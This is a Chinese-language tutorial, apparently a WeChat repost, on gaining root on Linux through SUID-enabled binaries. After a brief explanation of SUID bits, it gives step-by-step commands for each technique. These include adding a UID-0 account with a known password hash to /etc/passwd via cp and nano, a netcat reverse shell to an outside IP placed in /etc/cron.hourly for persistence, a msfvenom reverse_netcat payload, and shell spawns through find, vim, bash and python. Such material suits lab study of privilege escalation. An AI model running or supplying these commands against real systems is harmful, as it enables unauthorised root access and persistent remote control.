1、简介
Linux 中的一切都是文件,包括目录和设备,它们有权允许或限制三种操作,即读/写/执行。因此,当为任何文件设置权限时,应该了解Linux 用户允许或限制所有三个权限 。
用于为每个用户设置权限的最大位数为7,这是读(4)写(2)和执行(1)操作的组合,如果设置 chmod 764,那么它将看起来像rwxrw-r--
当给每个用户特殊权限时,它就变成了SUID、SGID 和 sticky bits,当额外的位4设置为用户(所有者)时,它变为SUID(设置用户 ID),当位2设置为组时,它变为SGID(设置组 ID),如果允许其他用户创建或删除任何目录中的文件,然后将1设置为该目录粘性位。
1.1 SUID简介
设置用户ID是一种权限,允许用户以指定用户的权限执行文件。具有 suid 权限的文件以更高的权限运行。假设我们以非 root 用户身份访问目标系统,并且发现启用了 suid 位的二进制文件,那么这些文件/程序/命令可以以 root 权限运行。
1.2 SUID设置
您可以使用“数字”方法或“符号”方法更改任何文件的权限,配置方法:
chmod 4755 file
chmod u+s file
查看文件中有一个s
标志位
1.3 SUID文件查找
find / -perm -u=s -type f 2>/dev/null
-
✅/ 表示从文件系统的顶部(根)开始,查找每个目录
-
✅-perm 表示搜索后面的权限
-
✅-u=s表示查找root用户拥有的文件
-
✅-type说明要查找的文件类型
-
✅f 表示常规文件,而不是目录或特殊文件
-
✅2表示进程的第二个文件描述符,即stderr(标准错误)
-
✅>表示重定向
-
✅/dev/null是一个特殊的文件系统对象,它会丢弃写入其中的所有内容
2、提权方法
2.1 CP命令提权
1.环境配置
1.查找cp命令
which cp
2.设置suid
chmod u+s /bin/cp
2.提权方法1
1.查找suid文件
find / -perm -u=s -type f 2>/dev/null
2.复制文件到/tmp目录
cp /etc/passwd /tmp/passwd
3.生成账号
openssl passwd -1 -salt hack passwod123
4.创建简单服务器
python -m SimpleHTTPServer
5.下载文件并编辑
hack:$1$hack$Ujr9nuxIm2iJXNKOZjEcy0:0:0:root:/root:/bin/bash
6.上传编辑好文件
cp passwd /etc/passwd
7.切换用户
su - hack
3.提权方法2
1.生成反弹连接
msfvenom -p cmd/unix/reverse_netcat lhost=192.168.207.129 lport=1234 R
2.创建执行文件
vim test.sh
#!/bin/bash
mkfifo /tmp/gspa; nc 192.168.207.129 1234 0</tmp/gspa | /bin/sh >/tmp/gspa 2>&1; rm /tmp/gspa
3.复制文件到计划任务中
chmod +x test.sh
cp -r test.sh /etc/cron.hourly/
4.开启nc监听
nc -lvvp 1234
2.2 Find命令提权
1.环境配置
1.查找find命令
which find
2.添加suid权限
chmod u+s /usr/bin/find
2.提权方法
1.查找suid权限文件
find / -perm -u=s -type f 2>/dev/null
2.创建文件并执行命令
touch a
find a -exec /bin/sh -p ; -quit
2.3 Vim编辑器提权
1.环境配置
1.查找vim命令
which vim
2.设置suid权限
chmod u+s /usr/bin/vim
2.提权方法
1.查找suid权限二进制
find / -perm -u=s -type f 2>/dev/null
2.suid提权方法
vim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'
2.4 Nano编辑器提权
1.环境配置
1.查找nano命令
which nano
2.设置suid权限
chmod u+s /usr/bin/nano
2.提权方法
1.查找suid权限二进制
find / -perm -u=s -type f 2>/dev/null
2.生成密码
使用OpenSSL passwd 生成了一个新的加密密码:123
openssl passwd -1 -salt test 123
3.编辑/etc/passwd文件
使用nano 编辑器打开passwd文件并添加创建的用户
nano /etc/passwd
test:$1$test$C5gTd1RYpgKDj4WuX5yG8/:0:0:root:/root:/bin/bash
4.切换用户
su test
已经成功切换为root账号
2.5 Bash提权
1.环境配置
1.查找bash命令
which bash
2.添加suid权限
chmod u+s /usr/bin/bash
2.提权方法
1.查找suid权限二进制文件
find / -perm -u=s -type f 2>/dev/null
2.提权方法
bash -p
2.6 Python提权
1.环境配置
1.查找bash命令
which python
2.添加suid权限
chmod u+s /usr/bin/python
2.提权方法
1.查找suid权限二进制文件
find / -perm -u=s -type f 2>/dev/null
2.提权方法
python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
原文始发于微信公众号(安全孺子牛):Linux提权-SUID二进制文件提权环境部署和提权方法
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论